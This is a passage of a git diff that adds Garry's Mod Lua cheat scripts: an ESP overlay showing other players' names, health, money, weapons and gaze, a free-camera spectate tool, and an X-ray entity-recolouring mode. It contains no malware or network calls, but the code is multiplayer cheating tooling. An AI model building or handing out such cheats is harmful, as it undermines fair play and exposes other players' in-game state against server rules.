dotsize:GetInt(), dotsize:GetInt(),dotsize:GetInt(), Color(255,0,0,255)) + end + end + if FMirror:GetInt() == 1 then + local CamData = {} + local ang = LocalPlayer():EyeAngles() + CamData.angles = Angle(ang.p - ang.p - ang.p, ang.y - 180, ang.r) + CamData.origin = LocalPlayer():GetShootPos() + CamData.x = FMirrorx:GetInt() + CamData.y = FMirrory:GetInt() + CamData.w = FMirrorw:GetInt() + CamData.h = FMirrorh:GetInt() + render.RenderView( CamData ) + draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255)) + end +end +hook.Add("HUDPaint", "FESP2", NamesOnHeads) + +local function FESPAddEnt(ent, id) + CustomENTS[id or (#CustomENTS + 1)] = ent +end + +local function FESPRemoveEnt(id) + CustomENTS[id] = nil +end + +local function FESPClearEnt() + CustomENTS = {} +end + +local function FESPAddPos(vector) + table.insert(ESPPos, vector) +end + +local function FESPClearPos() + ESPPos = {} +end + +local function AddEntityToShow(ply, cmd, args) + table.insert(EntityShowTable, tostring(args[1])) + local newstring = table.concat(EntityShowTable, "|") + RunConsoleCommand("FESPAllHappyDingetjes", newstring) +end +concommand.Add("FESPAddEntity", AddEntityToShow) + +local function RemoveEntityToShow(ply, cmd, args) + for k,v in pairs(EntityShowTable) do + if string.lower(v) == string.lower(tostring(args[1])) then + table.remove(EntityShowTable, k) + local newstring = table.concat(EntityShowTable, "|") + if table.Count(EntityShowTable) > 0 then + RunConsoleCommand("FESPAllHappyDingetjes", newstring) + else + RunConsoleCommand("FESPAllHappyDingetjes", "") + end + end + end +end +concommand.Add("FESPRemoveEntity", RemoveEntityToShow) + +local function HeadPos(ent) + if not ValidEntity(ent) then return Vector(0,0,0) end + local head = ent:LookupAttachment("eyes") + if not ent:GetAttachment(head) then + return ent:GetShootPos() + end + return ent:GetAttachment(head).Pos +end + +local NoLookingAtWeapons = {"weapon_physgun", "weapon_physcannon", "gmod_camera", "keys", "pocket"} +local tick = 0 +local function FESPThink() + if ESPOn:GetInt() == 1 then + for k,v in pairs(player.GetAll()) do + if v ~= LocalPlayer() and v:Alive() then + local a = {} + local teamcolor = team.GetColor(v:Team()) + local wep = v:GetActiveWeapon() + a.data = {} + if FShowName:GetInt() == 1 then + table.insert(a.data, v:Nick()) + end + if FShowHealth:GetInt() == 1 then + table.insert(a.data, "Health: " .. tostring(v:Health())) + end + if FShowRPMoney:GetInt() == 1 and v:GetNetworkedInt("money") ~= 0 then + table.insert(a.data, "Money: " .. tostring(v:GetNetworkedInt("money"))) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "Speed: " .. tostring(speed)) + end + if FShowWeapon:GetInt() == 1 and wep:IsValid() then + table.insert(a.data, wep:GetPrintName()) + end + + a.pos = HeadPos(v) + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + + a.teamcolor = {} + if v:IsAdmin() and not v:IsSuperAdmin() then + if FShowAdmin:GetInt() == 1 then + table.insert(a.data,"Admin") + end + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 30 + a.teamcolor.g = 200 + a.teamcolor.b = 50 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + elseif v:IsSuperAdmin() then + if FShowAdmin:GetInt() == 1 then + table.insert(a.data, "Super Admin") + end + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 30 + a.teamcolor.g = 200 + a.teamcolor.b = 50 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + elseif not v:IsAdmin() then + if teamcolor.r == 255 and teamcolor.g == 255 and teamcolor.b == 100 then + a.teamcolor.r = 100 + a.teamcolor.g = 150 + a.teamcolor.b = 245 + else + a.teamcolor.r = teamcolor.r + a.teamcolor.g = teamcolor.g + a.teamcolor.b = teamcolor.b + end + end + + DrawLijst[v:EntIndex()] = a + + --hex + if CHair:GetInt() == 1 then + local b = {} + b.data = {} + b.teamcolor = {} + b.teamcolor.r = a.teamcolor.r + b.teamcolor.g = a.teamcolor.g + b.teamcolor.b = a.teamcolor.b + b.IsLooking = true + local lookat1 = v:GetEyeTrace() + local lookat = lookat1.HitPos + b.pos = lookat + if FShowName:GetInt() == 1 then + table.insert(b.data, v:Nick()) + end + DrawLijst[tostring(v:EntIndex()) .. "look"] = b + end + --/hex + + + end + + + if DingetjesLijst:GetString() ~= "" then + for k,v in pairs(ents.GetAll()) do + for a, b in pairs(EntityShowTable) do + local a = {} + if v:IsValid() and string.find(v:GetClass(), b) then + local pos = v:GetPos() + a.data = {} + if FShowName:GetInt() == 1 then + table.insert(a.data, v:GetClass()) + end + a.pos = pos + a.teamcolor = Color(255,255,255,255) + local owner = v:GetNWString("Owner") + if FShowOwner:GetInt() == 1 and owner ~= "" then + table.insert(a.data, owner) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "speed: " .. tostring(speed)) + end + + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + DrawLijst[v:EntIndex()] = a + end + end + end + end + + for k,v in pairs(CustomENTS) do + if not ValidEntity(v) then CustomENTS[k] = nil return end + local a = {} + a.data = {} + table.insert(a.data, v:GetClass()) + a.pos = v:GetPos() + a.teamcolor = Color(255,0,0,255) + local owner = v:GetNWString("Owner") + if FShowOwner:GetInt() == 1 and owner ~= "" then + table.insert(a.data, owner) + end + local speed = math.floor(v:GetVelocity():Length()) + if FShowSpeed:GetInt() == 1 and speed > 0 then + table.insert(a.data, "speed: " .. tostring(speed)) + end + if FShowDistance:GetInt() == 1 then + table.insert(a.data, "Distance: " .. tostring(math.floor(a.pos:Distance(LocalPlayer():GetPos())))) + end + DrawLijst[v:EntIndex()] = a + end + tick = tick + 1 + if tick > 1000 then + for k,v in pairs(DrawLijst) do + DrawLijst = {} + end + tick = 0 + end + end + end +end +hook.Add("Think", "NamesOnHeads2_FESPThink", FESPThink) + + +function FESPVgui() + local frame = vgui.Create( "DFrame" ) + frame:SetTitle( "FESP config" ) + --frame:SetSize(280,660) + frame:SetSize(280,900) + frame:Center() + frame:SetVisible( true ) + frame:MakePopup() + + local Panel = vgui.Create( "DPanelList", frame ) + Panel:SetPos(20,30) + Panel:SetSize(240, 850) + Panel:SetSpacing(5) + Panel:EnableHorizontal( false ) + Panel:EnableVerticalScrollbar( true ) + + local ToggleEsp = vgui.Create( "DCheckBoxLabel", frame ) + ToggleEsp:SetText("Toggle FESP") + ToggleEsp:SetConVar("FESP_TOGGLE") + Panel:AddItem(ToggleEsp) + + local ShowName = vgui.Create( "DCheckBoxLabel", frame ) + ShowName:SetText("Show names") + ShowName:SetConVar("FESPShowName") + Panel:AddItem(ShowName) + + local ShowHealth = vgui.Create( "DCheckBoxLabel", frame ) + ShowHealth:SetText("Show health") + ShowHealth:SetConVar("FESPShowHealth") + Panel:AddItem(ShowHealth) + + local ShowAdmin = vgui.Create( "DCheckBoxLabel", frame ) + ShowAdmin:SetText("Show admin") + ShowAdmin:SetConVar("FESPShowAdmin") + Panel:AddItem(ShowAdmin) + + local ShowOwner = vgui.Create( "DCheckBoxLabel", frame ) + ShowOwner:SetText("Show owner") + ShowOwner:SetConVar("FESPShowOwner") + Panel:AddItem(ShowOwner) + + local ToggleChair = vgui.Create( "DCheckBoxLabel", frame ) + ToggleChair:SetText("Show what they're looking at") + ToggleChair:SetConVar("FESPCHair") + Panel:AddItem(ToggleChair) + + + local AimDotSizeVGUI = vgui.Create("DNumSlider", frame) + AimDotSizeVGUI:SetValue(AimDotSize:GetInt()) + AimDotSizeVGUI:SetConVar("FESPAimDotSize") + AimDotSizeVGUI:SetMin(0) + AimDotSizeVGUI:SetMax(50) + AimDotSizeVGUI:SetText("Aim dot size") + AimDotSizeVGUI:SetDecimals(0) + Panel:AddItem(AimDotSizeVGUI) + + local AimDotBorderVGUI = vgui.Create("DNumSlider", frame) + AimDotBorderVGUI:SetValue(AimDotBorder:GetInt()) + AimDotBorderVGUI:SetConVar("FESPAimDotBorder") + AimDotBorderVGUI:SetMin(0) + AimDotBorderVGUI:SetMax(50) + AimDotBorderVGUI:SetText("Aim dot border") + AimDotBorderVGUI:SetDecimals(0) + Panel:AddItem(AimDotBorderVGUI) + + + local ToggleRPMoney = vgui.Create( "DCheckBoxLabel", frame ) + ToggleRPMoney:SetText("Show their money(DarkRP)") + ToggleRPMoney:SetConVar("FESPShowRPMoney") + Panel:AddItem(ToggleRPMoney) + + local ToggleSpeed = vgui.Create( "DCheckBoxLabel", frame ) + ToggleSpeed:SetText("Show their speed") + ToggleSpeed:SetConVar("FESPShowSpeed") + Panel:AddItem(ToggleSpeed) + + local ToggleDistance = vgui.Create( "DCheckBoxLabel", frame ) + ToggleDistance:SetText("Show the Distance") + ToggleDistance:SetConVar("FESPShowDistance") + Panel:AddItem(ToggleDistance) + + local ToggleWeapon = vgui.Create( "DCheckBoxLabel", frame ) + ToggleWeapon:SetText("Show the Weapon") + ToggleWeapon:SetConVar("FESPShowWeapon") + Panel:AddItem(ToggleWeapon) + + local AllignMiddle = vgui.Create( "DCheckBoxLabel", frame ) + AllignMiddle:SetText("Allign in the middle") + AllignMiddle:SetConVar("FESPMiddleAllign") + Panel:AddItem(AllignMiddle) + + + local mirrorbutton = vgui.Create( "DButton", frame) + mirrorbutton:SetText( "Mirror" ) + mirrorbutton:SetSize(220, 20) + function mirrorbutton:DoClick() + frame:SetVisible(false) + RunConsoleCommand("Falco_Mirror") + end + Panel:AddItem(mirrorbutton) + + local dotsizeslider = vgui.Create( "DNumSlider", frame ) + dotsizeslider:SetValue(dotsize:GetInt()) + dotsizeslider:SetConVar("FESPDotSize") + dotsizeslider:SetMin(0) + dotsizeslider:SetMax(50) + dotsizeslider:SetText("The size of the dots") + dotsizeslider:SetDecimals(0) + Panel:AddItem(dotsizeslider) + + local bordersizeslider = vgui.Create( "DNumSlider", frame ) + bordersizeslider:SetValue(bordersize:GetInt()) + bordersizeslider:SetConVar("FESPBorderSize") + bordersizeslider:SetMin(0) + bordersizeslider:SetMax(50) + bordersizeslider:SetText("The size of the borders around the text") + bordersizeslider:SetDecimals(0) + Panel:AddItem(bordersizeslider) + + local EntList = vgui.Create("DListView", frame) + --EntList:SetSize(260, 70) + EntList:SetSize(260, 250) + EntList:AddColumn("FESP shows these entities:") + EntList:SetMultiSelect(false) + for k,v in pairs(EntityShowTable) do + EntList:AddLine(v) + end + function EntList:OnClickLine(line) + line:SetSelected(true) + RunConsoleCommand("FESPRemoveEntity", line:GetValue(1)) + EntList:RemoveLine(EntList:GetSelectedLine()) + end + + local AddEntLabel = vgui.Create( "DLabel", frame ) + AddEntLabel:SetText("\nSelect custom entities\nto make FESP show\nuse the ClassName of the ent(advanced)") + AddEntLabel:SizeToContents() + Panel:AddItem(AddEntLabel) + + local AddEntTextEntry = vgui.Create("DTextEntry", frame) + local notagain = notagain or 0 + function AddEntTextEntry:OnEnter() + if notagain < RealTime() then + local text = AddEntTextEntry:GetValue() + EntList:AddLine(text) + RunConsoleCommand("FESPAddEntity", text) + AddEntTextEntry:SetText("") + AddEntTextEntry:RequestFocus( ) + notagain = RealTime() + 0.1 + end + end + Panel:AddItem(AddEntTextEntry) + + + local AddEntLabel2 = vgui.Create( "DLabel", frame ) + AddEntLabel2:SetText("\nLook at something\nClick the next button\nAnd FESP will detect all of his kind") + AddEntLabel2:SizeToContents() + Panel:AddItem(AddEntLabel2) + + local AddLookingAtButton = vgui.Create("DButton", frame) + AddLookingAtButton:SetText("Add Looking at") + function AddLookingAtButton:DoClick( ) + local trace = LocalPlayer():GetEyeTrace() + if trace.Hit and trace.Entity:IsValid() then + RunConsoleCommand("FESPAddEntity", trace.Entity:GetClass()) + EntList:AddLine(trace.Entity:GetClass()) + end + end + Panel:AddItem(AddLookingAtButton) + Panel:AddItem(EntList) +end +concommand.Add("FESPConfig", FESPVgui) + +local function fmirrorderma() + local frame = vgui.Create( "DFrame" ) + frame:SetTitle( "FESP miror config" ) + frame:SetSize( 300, 300 ) + frame:Center() + frame:SetVisible( true ) + frame:MakePopup( ) + + local Panel = vgui.Create( "DPanelList", frame ) + Panel:SetPos(20,30) + Panel:SetSize(260, 260) + Panel:SetSpacing(5) + Panel:EnableHorizontal( false ) + Panel:EnableVerticalScrollbar( true ) + + local Mirror = vgui.Create( "DCheckBoxLabel", frame ) + Mirror:SetText("Enable mirror") + Mirror:SetConVar("FESPMirror") + Panel:AddItem(Mirror) + + local slidermirrorx = vgui.Create( "DNumSlider", frame ) + slidermirrorx:SetValue(FMirrorx:GetInt()) + slidermirrorx:SetConVar("FESPMirrorx") + slidermirrorx:SetMin(0) + slidermirrorx:SetMax(ScrW()) + slidermirrorx:SetText("Mirror X position") + slidermirrorx:SetDecimals(0) + Panel:AddItem(slidermirrorx) + function slidermirrorx:Think() + slidermirrorx:SetMax(ScrW() - FMirrorw:GetInt()) + end + local slidermirrory = vgui.Create( "DNumSlider", frame ) + slidermirrory:SetValue(FMirrory:GetInt()) + slidermirrory:SetConVar("FESPMirrory") + slidermirrory:SetMin(0) + slidermirrory:SetMax(ScrH()) + slidermirrory:SetText("Mirror Y position") + slidermirrory:SetDecimals(0) + Panel:AddItem(slidermirrory) + function slidermirrory:Think() + slidermirrory:SetMax(ScrH() - FMirrorh:GetInt()) + end + + local slidermirrorw = vgui.Create( "DNumSlider", frame ) + slidermirrorw:SetValue(FMirrorw:GetInt()) + slidermirrorw:SetConVar("FESPMirrorw") + slidermirrorw:SetMin(0) + slidermirrorw:SetMax(ScrW()) + slidermirrorw:SetText("Mirror width") + slidermirrorw:SetDecimals(0) + Panel:AddItem(slidermirrorw) + + local slidermirrorh = vgui.Create( "DNumSlider", frame ) + slidermirrorh:SetValue(FMirrorh:GetInt()) + slidermirrorh:SetConVar("FESPMirrorh") + slidermirrorh:SetMin(0) + slidermirrorh:SetMax(ScrH()) + slidermirrorh:SetText("Mirror height") + slidermirrorh:SetDecimals(0) + Panel:AddItem(slidermirrorh) +end +concommand.Add("Falco_Mirror", fmirrorderma) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua new file mode 100644 index 0000000..c0552f2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FSpectate.lua @@ -0,0 +1,332 @@ + +local IsSpectating = false +local holding = {} +local SpectatePosition = Vector(0,0,0) +local CanMove = true // for if you're in an object you mustn't be able to move +local SaveAngles = Angle(0,0,0) // Only used when spectating an object +local SpecEnt = LocalPlayer() +local speed = 15 +local SelfModel = nil +local SpecEntSaveAngle = Vector(0,0,0) +local camsdata = {} +local camsize = CreateClientConVar("FSpecScreenSize", 5, true, false) +local ThPDist = 100 + +local function fnotify(text) + if GAMEMODE.IsSandboxDerived then // in some gamemodes GAMEMODE:AddNotify() doesn't exist + GAMEMODE:AddNotify(tostring(text), 1, 5) + surface.PlaySound( "ambient/water/drip2.wav") // I don't care about the other drips so no difficult concatenations or something + end +end + +local function FSpecSelectSomeone()//DONT SAY IT'S STOLEN FROM THE GODDAMN PLAYER POSSESSOR SWEP! I GODDAMN MAAAAADE THE PLAYER POSSESSOR SWEP! + holding = {} + if table.Count(player.GetAll()) <= 1 then + fnotify("You're the only one in the server") + return + end + local frame = vgui.Create("DFrame") + local button = {} + local PosSize = {} + + frame:SetSize( 200, 500 ) + frame:Center() + frame:SetVisible(true) + frame:MakePopup() + frame:SetTitle("Choose a player") + + PosSize[0] = 5 + for k,v in pairs(player.GetAll()) do + if v == LocalPlayer() then + PosSize[k] = PosSize[k-1] + elseif v!= LocalPlayer() then + PosSize[k] = PosSize[k-1] + 30 + frame:SetSize(200, PosSize[k] + 40) + button[k] = vgui.Create("DButton", frame) + button[k]:SetPos( 20, PosSize[k]) + button[k]:SetSize( 160, 20 ) + button[k]:SetText( v:Nick()) + frame:Center() + button[k]["DoClick"] = function() + if not ValidEntity(v) then fnotify("Can't spectate him at the moment") return end + CanMove = false + SpecEnt = v + end + end + end +end + +local function ToggleSpectate() + if IsSpectating then + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + if v:GetClass() == "viewmodel" then + v:SetNoDraw(false) + end + end + end + IsSpectating = false + CanMove = true + if ValidEntity(SpecEnt) then + SpecEnt:SetNoDraw(false) + SpecEnt = LocalPlayer() + end + speed = 15 + holding = {} + if ValidEntity(SelfModel) then + SelfModel:Remove() + end + SelfModel = nil + else + IsSpectating = true + SpectatePosition = LocalPlayer():GetShootPos() + SelfModel = ents.Create("prop_physics") + SelfModel:SetModel( LocalPlayer():GetModel() ) + SelfModel:Spawn() + SelfModel:SetPos(LocalPlayer():GetPos()) + + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + if v:GetClass() == "viewmodel" then + v:SetNoDraw(true) + end + end + end + + local ang = LocalPlayer():EyeAngles() + SelfModel:SetAngles(Angle(0, ang.y, 0)) + SelfModel:SetPlaybackRate( 1.0 ) + SelfModel:ResetSequence(SelfModel:SelectWeightedSequence( ACT_HL2MP_IDLE ) ) + SelfModel:SetCycle( 0 ) + --[[ if LocalPlayer():KeyDown(IN_FORWARD) then + holding.forward = true + end ]] + end +end +concommand.Add("FSpectate", ToggleSpectate) + +local function BindPresses(ply, bind, pressed) + if IsSpectating and not LocalPlayer():KeyDown(IN_USE) then + if string.find(bind, "forward") or string.find(bind, "moveleft") or string.find(bind, "moveright") or string.find(bind, "back") or string.find(bind, "jump") or string.find(bind, "duck") then + holding[string.sub(bind, 2)] = pressed + return true + elseif string.find(bind, "speed") then + if speed <= 15 then speed = 50 + elseif speed == 50 then speed = 15 + end + elseif string.find(bind, "walk") then + if speed ~= 2 then speed = 2 + elseif speed == 2 then speed = 15 + end + elseif string.find(bind, "attack2") and pressed then + FSpecSelectSomeone() + return true + elseif string.find(bind, "menu") and not string.find(bind, "context") and pressed then + if CanMove then + table.insert(camsdata, {pos = SpectatePosition, ang = LocalPlayer():EyeAngles(), obj = false}) + elseif not CanMove then + table.insert(camsdata, {obj = SpecEnt, dist = ThPDist, ang = SaveAngles}) + end + fnotify("Screen made") + return true + elseif string.find(bind, "menu_context") and pressed then + if #camsdata > 0 then + table.remove(camsdata, #camsdata) // remove the last one in the table + fnotify("Last screen removed") + end + return true + elseif string.find(bind, "reload") and pressed then + if CanMove then + local Tracey = {} + Tracey.start = SpectatePosition + Tracey.endpos = SpectatePosition + LocalPlayer():GetAimVector() * 100000000 + Tracey.filter = LocalPlayer() // in case you're aiming at yourself... IF that's even possible but I can't be arsed to test that + local trace = util.TraceLine(Tracey) + + if trace.Hit and trace.Entity and ValidEntity(trace.Entity) and not trace.Entity:IsPlayer() then + CanMove = false + SpectatePosition = trace.Entity:GetPos() + SaveAngles = LocalPlayer():GetAimVector():Angle() + SpecEntSaveAngle = trace.Entity:EyeAngles() + SpecEnt = trace.Entity + fnotify("Now spectating an entity") + elseif trace.Hit and trace.Entity and ValidEntity(trace.Entity) and trace.Entity:IsPlayer() then + CanMove = false + SpectatePosition = trace.Entity:GetShootPos() + SpecEnt = trace.Entity + fnotify("Now spectating " .. trace.Entity:Name()) + end + elseif not CanMove then + CanMove = true + if SpecEnt:IsPlayer() then + SpecEnt:SetNoDraw(false) + SpectatePosition = SpecEnt:GetShootPos() + LocalPlayer():SetEyeAngles(SpecEnt:EyeAngles()) + else + local ang = SpecEnt:EyeAngles() + SpectatePosition = SpecEnt:GetPos() - (Angle(ang.p, ang.y, ang.r + 180) + SaveAngles ):Forward() * ThPDist + LocalPlayer():SetEyeAngles((SpecEnt:GetPos() - SpectatePosition):Angle()) + SpectatePosition = SpecEnt:GetPos() + end + fnotify("Stopped spectating object") + end + return true + end + end +end +hook.Add("PlayerBindPress", "FSpectateBindPresses", BindPresses) + +local function DoMove(what) + if CanMove then + if string.find(what, "forward") then // todo + SpectatePosition = SpectatePosition + LocalPlayer():GetAimVector() * speed + elseif string.find(what, "back") then + SpectatePosition = SpectatePosition - LocalPlayer():GetAimVector() * speed + elseif string.find(what, "moveleft") then + SpectatePosition = SpectatePosition - LocalPlayer():GetAimVector():Angle():Right() * speed + elseif string.find(what, "moveright") then + SpectatePosition = SpectatePosition + LocalPlayer():GetAimVector():Angle():Right() * speed + elseif string.find(what, "jump") then + SpectatePosition = SpectatePosition + Vector(0,0,speed) + elseif string.find(what, "duck") then + SpectatePosition = SpectatePosition - Vector(0,0,speed) + end + elseif not CanMove then + if string.find(what, "forward") then // todo + SaveAngles = SaveAngles + Angle(0.1 * speed, 0, 0) + elseif string.find(what, "back") then + SaveAngles = SaveAngles - Angle(0.1 * speed, 0, 0) + elseif string.find(what, "moveleft") then + SaveAngles = SaveAngles - Angle(0, 0.1 * speed, 0) + elseif string.find(what, "moveright") then + SaveAngles = SaveAngles + Angle(0, 0.1 * speed, 0) + elseif string.find(what, "jump") then + ThPDist = ThPDist + 0.5 * speed + elseif string.find(what, "duck") and ThPDist > 0 then + ThPDist = ThPDist - 0.5 * speed + end + end +end + +local function FSpecThink() + if IsSpectating then + if ValidEntity(SelfModel) then + SelfModel:SetPos(LocalPlayer():GetPos()) + local ang = LocalPlayer():EyeAngles() + SelfModel:SetAngles(Angle(0, ang.y, 0)) + end + for k,v in pairs(holding) do + if v then + DoMove(k) + end + end + end +end +hook.Add("Think", "FSpectateThink", FSpecThink) + +local function FSpecCalcViewPosition(ply, origin, angles, fov) + if IsSpectating then + local view = {} + if not CanMove and not ValidEntity(SpecEnt) then + CanMove = true + end + if not CanMove and not SpecEnt:IsPlayer() then + local ang = SpecEnt:EyeAngles() + local pos = SpecEnt:GetPos() - (Angle(ang.p, ang.y, ang.r + 180) + SaveAngles ):Forward() * ThPDist + view.angles = (SpecEnt:GetPos() - pos):Angle() + view.origin = pos + elseif not CanMove and SpecEnt:IsPlayer() then + view.angles = SpecEnt:EyeAngles() + view.origin = SpecEnt:GetShootPos() + SpecEnt:SetNoDraw(true) + elseif CanMove then + view.angles = LocalPlayer():EyeAngles() + view.origin = SpectatePosition + end + + view.vm_origin = Vector(0,0,-13000) + return view + end +end +hook.Add("CalcView", "FSpectateCalcView", FSpecCalcViewPosition) + +function FSpecScreens() + local dat = {} + for k,v in pairs(camsdata) do + if not ValidEntity(v.obj) and v.obj == false then + dat.origin = v.pos + dat.angles = v.ang + dat.y = 0 + dat.w = ScrW() / camsize:GetInt() + dat.h = ScrH() / (0.75 * camsize:GetInt()) + if k <= camsize:GetInt() then + dat.x = (k-1) * ScrW() / camsize:GetInt() + elseif k > camsize:GetInt() and k <=2 * camsize:GetInt() then + dat.y = ScrH() / (0.75 * camsize:GetInt()) + dat.x = (k - (camsize:GetInt() + 1)) * ScrW() / camsize:GetInt() + elseif k > 2 * camsize:GetInt() then + dat.y = 2 * (ScrH() / (0.75 * camsize:GetInt())) + dat.x = (k - (2*camsize:GetInt()+1)) * ScrW() / camsize:GetInt() + end + render.RenderView( dat ) + elseif ValidEntity(v.obj) then + dat.w = ScrW() / camsize:GetInt() + dat.h = ScrH() / (0.75 * camsize:GetInt()) + dat.y = 0 + if k <= camsize:GetInt() then + dat.x = (k-1) * ScrW() / camsize:GetInt() + elseif k > camsize:GetInt() and k <=2 * camsize:GetInt() then + dat.y = ScrH() / (0.75 * camsize:GetInt()) + dat.x = (k - (camsize:GetInt() + 1)) * ScrW() / camsize:GetInt() + elseif k > 2 * camsize:GetInt() then + dat.y = 2 * (ScrH() / (0.75 * camsize:GetInt())) + dat.x = (k - (2*camsize:GetInt()+1)) * ScrW() / camsize:GetInt() + end + + if v.obj:IsPlayer() then + dat.origin = v.obj:GetShootPos() + dat.angles = v.obj:EyeAngles() + v.obj:SetNoDraw(true) + render.RenderView( dat ) + v.obj:SetNoDraw(false) + else + local pos = v.obj:GetPos() - (v.obj:EyeAngles() + v.ang ):Forward() * v.dist + dat.origin = pos + dat.angles = (v.obj:GetPos() - pos):Angle() + render.RenderView( dat ) + end + + elseif not ValidEntity(v.obj) and v.obj ~= false then + local temp = {} + camsdata[k] = nil + for k,v in pairs(camsdata) do + table.insert(temp, v) + end + camsdata = {} + for k,v in pairs(temp) do + table.insert(camsdata, v) + end + dat[k] = nil + end + end + if #camsdata > 0 then + draw.RoundedBox(1, (ScrW() / 2) - 1.5, (ScrH() / 2) - 1.5, 3, 3, Color(255,255,255,255)) + end + + if IsSpectating then + surface.SetFont("HUDNumber") + surface.SetTextColor(255,255,255,255) + if CanMove then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Free spectating"), ScrH() - 80) + surface.DrawText("Free spectating") + elseif not CanMove and SpecEnt:IsPlayer() then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Spectating " .. SpecEnt:Name()), ScrH() - 80) + surface.DrawText("Spectating " .. SpecEnt:Name()) + elseif not CanMove and not SpecEnt:IsPlayer() then + surface.SetTextPos( (ScrW() / 2) - 0.5*surface.GetTextSize("Spectating an entity"), ScrH() - 80) + surface.DrawText("Spectating an entity") + end + end +end +hook.Add("HUDPaint", "FSpectateScreensonScreen", FSpecScreens) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua new file mode 100644 index 0000000..e3e39b6 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Scripts 10/lua/HeX/client/cl_FXVision3.lua @@ -0,0 +1,132 @@ + +local Enabled = false +local WhatMat = CreateClientConVar("falco_mat", "mat2", true, false) +local WhatAlpha = CreateClientConVar("falco_alpha", 25, true, false) +local NewA = WhatAlpha:GetInt() + +local Alpha = 0 +local AllMats = {} +local allcolors = {} + +local NotEqTab = { + ["prop_physics"] = true, + ["item_battery"] = true, + ["item_healthkit"] = true, + ["npc_satchel"] = true, + ["npc_tripmine"] = true, + ["gravestone"] = true, + ["ent_mad_c4"] = true, + ["viewmodel"] = true, + ["prop_vehicle_jeep"] = true, + ["prop_vehicle_airboat"] = true, + ["prop_vehicle_prisoner_pod"] = true, + ["weapon_slam"] = true, +} + +local function TogglePoKiRay() + surface.PlaySound("items/nvg_off.wav") + + NewA = WhatAlpha:GetInt() + if WhatMat:GetString() == "mat1" then + Alpha = 170 + NewA + else + Alpha = 0 + NewA + end + + if Enabled then + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) then + v:SetMaterial(AllMats[v]) + local z = allcolors[v] + if z and type(z) == "table" then + v:SetColor(z.r, z.g, z.b, z.a) + else + v:SetColor(255,255,255,255) + end + end + end + allcolors = {} + end + Enabled = not Enabled +end +concommand.Add("ToggleFRay", TogglePoKiRay) + + +local function DoPoKiRay() + if not Enabled then return end + + for k,v in pairs( ents.GetAll() ) do + if ValidEntity(v) then + local r,g,b,a = v:GetColor() + local egc = v:GetClass() + NewA = WhatAlpha:GetInt() + + if v:IsPlayer() + and (r != 255 or g != 0 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 0, 255) + + elseif v:IsNPC() + and (r != 0 or g != 0 or b != 255 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 0, 255, 255) + + elseif egc == "prop_physics" + and (r != 50 or g != 255 or b != 50 or a != 35 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(50, 255, 50, 35 + Alpha + NewA) + + elseif (v:IsWeapon() and egc != "weapon_slam") + and (r != 140 or g != 0 or b != 255 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(140, 0, 255, 255) + + elseif (v:IsVehicle() or egc == "prop_vehicle_jeep" or egc == "prop_vehicle_airboat" or egc == "prop_vehicle_prisoner_pod") + and (r != 0 or g != 207 or b != 255 or a != 59 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 207, 255, 59 + Alpha + NewA) + + elseif egc == "viewmodel" + and (r != 0 or g != 0 or b != 0 or a != 50) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(0, 0, 0, 50) + + elseif (egc == "ent_mad_c4" or egc == "gravestone" or egc == "npc_tripmine" or egc == "npc_satchel") + and (r != 255 or g != 0 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 0, 255) + + + elseif (egc == "weapon_slam") + and (r != 255 or g != 153 or b != 0 or a != 255) then + allcolors[v] = Color(r,g,b,a) + --v:SetColor(255, 255, 0, 255) --yellow + v:SetColor(255, 153, 0, 255) --orange + + + elseif (egc == "item_battery" or egc == "item_healthkit") + and (r != 255 or g != 0 or b != 100 or a != 255) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 0, 100, 255) + + + elseif not v:IsPlayer() and not v:IsNPC() and not v:IsWeapon() and not v:IsVehicle() and not NotEqTab[ egc ] + and (r != 255 or g != 200 or b != 0 or a != 85 + Alpha + NewA) then + allcolors[v] = Color(r,g,b,a) + v:SetColor(255, 200, 0, 85 + Alpha + NewA) + end + + if egc != "viewmodel" and v:GetMaterial() != WhatMat:GetString() then + AllMats[v] = v:GetMaterial() + 